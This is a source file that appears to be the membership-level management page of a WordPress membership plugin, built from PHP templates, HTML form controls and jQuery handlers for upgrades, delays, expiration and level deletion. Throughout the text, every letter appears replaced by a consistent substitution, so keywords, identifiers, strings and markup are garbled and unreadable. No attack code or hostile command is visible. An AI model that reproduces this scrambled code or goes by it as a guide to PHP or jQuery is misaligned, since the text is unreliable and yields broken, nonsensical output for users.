QTPMGUtBtEBozBsxln_FDmxrsQTPMGU =QzmU QTPMGUuBkBunQTPMGU), FCtxs_lou(QTPMGUFCtxs.qyqQTPMGU))U WQzmUYY      QumUV-- sFtB rA uBkBu jB jxuu Fqquh myxn mr --QzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU qFCCxsz-uBAm:OKqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SuBkBu4xsvU WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/FQzmUQumU/mCQzmUYY      QumUV-- FCC ro trkB --QzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmU Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUsrEoQzmUY         QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs!FulB)U WQzmUQplrmU /QzmUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUFCCQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_FCCQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SFDmxrs3BmyrC==QplrmUFCCQplrmU)U WQzmU /QzmUfCCQumU/uFEBuQzmUQFtqUsEnqUQFtqUsEnqUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUtrkBQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_trkBQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SFDmxrs3BmyrC==QplrmUtrkBQplrmU)U WQzmU /QzmU3rkBQumU/uFEBuQzmUQFtqUsEnqUQFtqUsEnqUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_srmyxszQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SFDmxrs3BmyrC==QplrmUQplrmU)U WQzmU /QzmUcr 2rmyxszQumU/uFEBuQzmUY      QumU/srEoQzmUQumU/mCQzmUYY      QumUV-- nBuBDm uBkBu --QzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_uBkBu_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs;qzoFCB)U WQzmUQplrmU /QzmUY      QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_lqzoFCB_uBkBu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUY         QumUrqmxrs kFulB=QplrmUPQplrmUQzmU--QumU/rqmxrsQzmUY         QumUWqyq AroBFDy (SuBkBun Fn SFDmxrs4BkBu): WQzmUY         QumUWqyq xA (SuBkBu-QzmU7c == SFDmxrs4BkBu-QzmU7c) { DrsmxslBU } WQzmUY         QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs4BkBu-QzmU7c)U WQzmUQplrmU QumUWqyq nBuBDmBC((SFDmxrs3BmyrC==QplrmUFCCQplrmU QFtqUQFtqU SFDmxrs4BkBu-QzmU7c==SFDmxrsfCC) || (SFDmxrs3BmyrC==QplrmUtrkBQplrmU QFtqUQFtqU SFDmxrs4BkBu-QzmU7c==SFDmxrs3rkB))U WQzmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SFDmxrs4BkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY         QumUWqyq BsCAroBFDyU WQzmUY      QumU/nBuBDmQzmUY      QumU/mCQzmUYY      QumUV-- xsnmFsm, FAmBo > CFhn, ro rs CFmB --QzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY         QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CBuFh_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs!FulB)U WQzmUQplrmU /QzmUYY         QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CFmB_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrscFmB)*OPPPU WQzmUQplrmU /QzmUY         QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CFmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_lqzoFCB_CFmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrscFmB)*OPPPU WQzmUQplrmU /QzmU Y         QumUsrEoQzmUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUxsnmFsmQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SnDyBCluB==QplrmUxsnmFsmQplrmU)U WQzmU /QzmU7snmFsmuhQumU/uFEBuQzmUQumUEo /QzmUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUFAmBoQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SnDyBCluB==QplrmUCFhQplrmU)U WQzmU /QzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FAmBo_srsBQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluBV=QplrmUCFhQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUfAmBo...QumU/nqFsQzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FAmBoQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluB==QplrmUCFhQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUfAmBo QumUxsqlm mhqB=QplrmUsltEBoQplrmU DuFnn=QplrmUtBtEBozBsxln_FAmBo_CBuFhQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FAmBo[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nxgB=QplrmUMQplrmU tFiuBszmy=QplrmUKQplrmU kFulB=QplrmUQumUWqyq BDyr tFi(O, SFDmxrscBuFh)U WQzmUQplrmU nmhuB=QplrmUArsm-nxgB:OOqiU jxCmy:KPqiUQplrmU /QzmU cFhn rs 4BkBuQumU/nqFsQzmUY         QumU/uFEBuQzmUQumUEo /QzmUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUCFmBQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SnDyBCluB==QplrmUCFmBQplrmU)U WQzmU /QzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CFmB_srsBQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluBV=QplrmUCFmBQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmU1s cFmB...QumU/nqFsQzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CFmBQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluB==QplrmUCFmBQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmU1s cFmB: QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUtBtEBozBsxln_CFmB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CFmB_CxnquFh[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nmhuB=QplrmUArsm-nxgB:OOqiUQplrmU /QzmUQumU/nqFsQzmUY         QumU/uFEBuQzmUY         QumU/srEoQzmUY      QumU/mCQzmUY      QumU/moQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/mErChQzmUY      QumU/mFEuBQzmUYY      QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmU QumUxsqlm DuFnn=QplrmUElmmrsQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUcBuBmB $BuBDmBC 4BkBunQplrmU /QzmUQumU/qQzmUY      QumU/ArotQzmU     YY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--YY      w&lBoh(AlsDmxrs() {Y         w&lBoh(QTPMGU.tBtEBozBsxln_CFmB_CBuFhQTPMGU).BFDy(AlsDmxrs (x, rEw) {Y            kFo oBu = w&lBoh(rEw).Fmmo(QplrmUoBuQplrmU)UY            kFo FumaxBuC = QTPMGUTtBtEBozBsxln_lqzoFCB_CFmBQumUWqyq BDyr Dyo(GN).Dyo(GN)U WQzmU[QTPMGU+oBu+QTPMGUQumUWqyq BDyr Dyo(GN).Dyo(GN)U WQzmU]QTPMGUUY            kFo myB$mFtq = qFonB7sm(w&lBoh(FumaxBuC).kFu())UY            kFo myBcFmBUYY            xA (xn2F2(myB$mFtq) || myB$mFtq QumU= O) {Y               kFo srj = sBj cFmB()UY               myBcFmB = sBj cFmB(srj.zBmaluuQumUWqyq BDyr Dyo(HG)U WQzmUBFo(), srj.zBm3rsmy()+O, O)UY            }Y            BunB {Y               myBcFmB = sBj cFmB(myB$mFtq)UY            }YY            w&lBoh(rEw).CFmBqxDvBo({Y               FumaxBuC: FumaxBuC,Y               FumarotFm: QplrmU@QplrmU,Y               CFmBarotFm: QplrmU33 C, hhQplrmU,Y               nyrjelmmrs0FsBu:molB,Y            })UY           w&lBoh(rEw).CFmBqxDvBo(QplrmUnBmcFmBQplrmU, myBcFmB)UY           //FuBom(QplrmUCFmB=QplrmU+w&lBoh(FumaxBuC).kFu())UY         })UY         w&lBoh(QTPMGUTlx-CFmBqxDvBo-CxkQTPMGU).yxCB()UYY         w&lBoh(QTPMGUxsqlm.tBtEBozBsxln_lqzoFCB_CBuFh[kFulB=QplrmUxsnmFsmQplrmU]QTPMGU).DuxDv(AlsDmxrs() {Y            kFo oBu = w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU)UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY         })UYY         // FAmBo Elmmrs DuxDvBCY         w&lBoh(QTPMGUxsqlm.tBtEBozBsxln_lqzoFCB_CBuFh[kFulB=QplrmUFAmBoQplrmU]QTPMGU).DuxDv(AlsDmxrs() {Y            kFo oBu = w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU)UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY         })UYY         w&lBoh(QTPMGUxsqlm.tBtEBozBsxln_lqzoFCB_CBuFh[kFulB=QplrmUCFmBQplrmU]QTPMGU).DuxDv(AlsDmxrs() {Y            kFo oBu = w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU)UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY            w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY         })UYY         w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_uBkBuQplrmU).DyFszB(AlsDmxrs() {Y            kFo oBu = qFonB7sm(w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU))UY            xA (xn2F2(oBu)) { oBmlosU }YY            kFo FCC1qmxrs = w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_FDmxrs_FCC[oBu=QTPMGUQplrmU+oBu+QplrmUQTPMGU]QplrmU)UY            kFo trkB1qmxrs = w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_FDmxrs_trkB[oBu=QTPMGUQplrmU+oBu+QplrmUQTPMGU]QplrmU)UY            Y            kFo xsnmFsm1qmxrs = w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_CBuFh[oBu=QTPMGUQplrmU+oBu+QplrmUQTPMGU][kFulB=QTPMGUxsnmFsmQTPMGU]QplrmU)UYY            xA (w&lBoh(myxn).kFu() == QplrmUPQplrmU) {Y               FCC1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU, AFunB)UY               trkB1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU, AFunB)UY               xsnmFsm1qmxrs.DuxDv()UY            }Y            BunB xA (VFCC1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU) QFtqUQFtqU VtrkB1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU)) {Y               FCC1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU, molB)UY            }Y         })U // tBtEBozBsxln_lqzoFCB_uBkBu   Y      })UY      // --QzmUY      QumU/nDoxqmQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun_uxnm() { zurEFu StBtEBozBsxlnU SmyB0FzBn = zBm_qFzBn()U SqFzBn = FooFh(P =QzmU QplrmUdyrrnB 0FzBQplrmU)U AroBFDy (SmyB0FzBn Fn SqFzB5Bh =QzmU SqFzB!FulB) { xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } SxC = SqFzB!FulB-QzmU7cU SmxmuB = SqFzB!FulB-QzmUqrnm_mxmuBU SqFzBn[SxC] = SmxmuBU } Fnrom(SqFzBn)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_CBuBmBQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_CBuBmBQplrmU])) { SCBuBmBn = FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_CBuBmBQplrmU])U AroBFDy (SCBuBmBn Fn SCBuBmB) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB4BkBu(SCBuBmB)U } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_sBjQplrmU][QplrmUsFtBQplrmU]) QFtqUQFtqU VBtqmh(S_01$#[QplrmUtBtEBozBsxln_sBjQplrmU][QplrmUsFtBQplrmU])) { SsBj = S_01$#[QplrmUtBtEBozBsxln_sBjQplrmU]U xA (VxnnBm(SsBj[QplrmUFuuQplrmU])) { SsBj[QplrmUFuuQplrmU] = AFunBU } xA (VxnnBm(SsBj[QplrmUDrttBsmnQplrmU])) { SsBj[QplrmUDrttBsmnQplrmU] = AFunBU } StBtEBozBsxln-QzmUtrCBu-QzmUDoBFmB4BkBu(SsBj[QplrmUsFtBQplrmU], SsBj[QplrmUFuuQplrmU], SsBj[QplrmUDrttBsmnQplrmU], SsBj[QplrmUyFnyQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { AroBFDy (S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU] Fn SuBkBu7c =QzmU SuBkBu2FtB) { SuBkBufuu = xnnBm(S_01$#[QplrmUtBtEBozBsxln_FuuQplrmU][SuBkBu7c]) W molB : AFunBU SuBkBudrttBsmn = xnnBm(S_01$#[QplrmUtBtEBozBsxln_DrttBsmnQplrmU][SuBkBu7c]) W molB : AFunBU SuBkBu	BzxnmBo = PU SuBkBu4rzxs = PU xA (xnnBm(S_01$#[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU][SuBkBu7c])) { SuBkBu	BzxnmBo = xsmkFu(S_01$#[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU][SuBkBu7c])U } xA (xnnBm(S_01$#[QplrmUuBkBu_qFzB_urzxsQplrmU][SuBkBu7c])) { SuBkBu4rzxs = xsmkFu(S_01$#[QplrmUuBkBu_qFzB_urzxsQplrmU][SuBkBu7c])U } xA (xnnBm(S_01$#[QplrmUuBkBu_BiqxoFmxrsQplrmU][SuBkBu7c])) { SuBkBubiqxoFmxrs = xsmkFu(S_01$#[QplrmUuBkBu_BiqxoFmxrsQplrmU][SuBkBu7c])U } xA (VxnnBm(S_01$#[QplrmUuBkBu_BiqxoBnQplrmU][SuBkBu7c])) { SuBkBubiqxoFmxrs = PU } StBtEBozBsxln-QzmUtrCBu-QzmUBCxm4BkBu(SuBkBu7c, FooFh( QplrmUuBkBu_sFtBQplrmU =QzmU SuBkBu2FtB, QplrmUuBkBu_FuuQplrmU =QzmU SuBkBufuu, QplrmUuBkBu_DrttBsmnQplrmU =QzmU SuBkBudrttBsmn, QplrmUuBkBu_qFzB_oBzxnmBoQplrmU =QzmU SuBkBu	BzxnmBo, QplrmUuBkBu_qFzB_urzxsQplrmU =QzmU SuBkBu4rzxs, QplrmUuBkBu_BiqxoFmxrsQplrmU =QzmU SuBkBubiqxoFmxrs ))U } } WQzmUY      QumUyMQzmU3FsFzB 3BtEBonyxq 4BkBunQumU/yMQzmUYY      QumUqQzmU;nB uBkBun mr DoBFmB QFtqUplrmUzorlqnQFtqUplrmU ro QFtqUplrmUqFDvFzBnQFtqUplrmU rA DrsmBsm mr zxkB FjFh ro oBnBuu.QumU/qQzmUYY      QumUqQzmUfAmBo hrlQTPMGUkB DoBFmBC myB uBkBu hrl jFsm, lnB myB drsmBsm mFE mr Fnnxzs DrsmBsm mr myFm uBkBu, myBs lnB myB 3BtEBon mFE mr Fnnxzs tBtEBon mr FCC myBt mr hrlo uBkBu.QumU/qQzmUYY      QumUqQzmUQumUEQzmU7tqromFsm:QumU/EQzmU 4BkBun DFssrm EB CBuBmBC xA myBh DrsmFxs tBtEBon. 7A F uBkBu EBurj DFssrm EB CBuBmBC, hrl qorEFEuh sBBC mr oBtrkB tBtEBon Aort xm.QumU/qQzmUYY      QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY      QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:IPPqiUQplrmUQzmUY      QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmUQzmUQFtqUsEnqUQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU3BtEBonyxq 4BkBuQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:OPPqiU qFCCxsz-oxzym:NPqiUQplrmUQzmUQumUsrEoQzmUfDDBnn #r...QumU/srEoQzmUQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiUQplrmUQzmU	BzxnmoFmxrs ;	4QumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:LPPqiUQplrmUQzmU	BCxoBDm 0FzBnQumU/myQzmUY         QumU/moQzmUY      QumU/myBFCQzmUYY      QumUmErChQzmUYY      QumUWqyq Sx = PU WQzmUY      QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY      QumUWqyq xA (Sx++ % N == P): WQzmUQumUmo DuFnn=QplrmUFumBosFmBQplrmUQzmUQumUWqyq BunB: WQzmUQumUmoQzmUQumUWqyq BsCxAU WQzmUYY      QumUWqyqY SnyrjbiqxoFmxrs = xsmkFu(SuBkBu-QzmUuBkBu_BiqxoFmxrs)U xA (SnyrjbiqxoFmxrs == P) { SnyrjbiqxoFmxrs = QplrmUQplrmUU } WQzmUY         QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:mrqUQplrmUQzmUY         QumUWqyq xA (SuBkBu-QzmUFDmxkB QzmU P || SuBkBu-QzmUDFsDBuBC QzmU P): WQzmUQFtqUsEnqUY         QumUWqyq BunB: WQzmUY         QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU DuFnn=QplrmUtBtEBozBsxln_CBuBmBQplrmU sFtB=QplrmUtBtEBozBsxln_CBuBmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_CBuBmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU /QzmUY         QumUWqyq BsCxAU WQzmUY         QumU/mCQzmUY         QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:mrqUQplrmUQzmUY            QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_uBkBu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nxgB=QplrmUNPQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQplrmU /QzmUQumUEo /QzmUY            QumUntFuuQzmUY               QFtqUsEnqU QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmU	BzxnmoFmxrs 0FzBQumU/FQzmUQumUEo /QzmUY               QFtqUsEnqU QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=lqzoFCBQplrmUU WQzmUQplrmUQzmU$BplBsmxFu ;qzoFCBQumU/FQzmUY            QumU/ntFuuQzmUY         QumU/mCQzmUY         QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:mrqU qFCCxsz-oxzym:NPqiUQplrmUQzmUY            QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_Fuu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU QumUWqyq xA (SuBkBu-QzmUuBkBu_Fuu): WQzmUDyBDvBC=QplrmUDyBDvBCQplrmUQumUWqyq BsCxAU WQzmU /QzmU fuu 0rnmn QFtqUFtqU 0FzBnQumU/uFEBuQzmUQumU/srEoQzmUQumUEo /QzmUY            QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_DrttBsmn[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU QumUWqyq xA (SuBkBu-QzmUuBkBu_DrttBsmn): WQzmUDyBDvBC=QplrmUDyBDvBCQplrmUQumUWqyq BsCxAU WQzmU /QzmU ?oxmB drttBsmnQumU/uFEBuQzmUQumU/srEoQzmUQumUEo /QzmUY            QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU DuFnn=QplrmUtBtEBozBsxln_BiqxoBnQplrmU sFtB=QplrmUuBkBu_BiqxoBn[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU QumUWqyq DyBDvBC(SuBkBu-QzmUuBkBu_BiqxoFmxrs QzmU P)U WQzmU /QzmU biqxoBnQumUnqFs DuFnn=QplrmUtBtEBozBsxln_BiqxoBn_CBmFxuQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr (SuBkBu-QzmUuBkBu_BiqxoFmxrs QzmU P) W QTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGUU WQzmUQplrmUQzmU fAmBo QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUtBtEBozBsxln_BiqxoFmxrsQplrmU sFtB=QplrmUuBkBu_BiqxoFmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nxgB=QplrmUNQplrmU 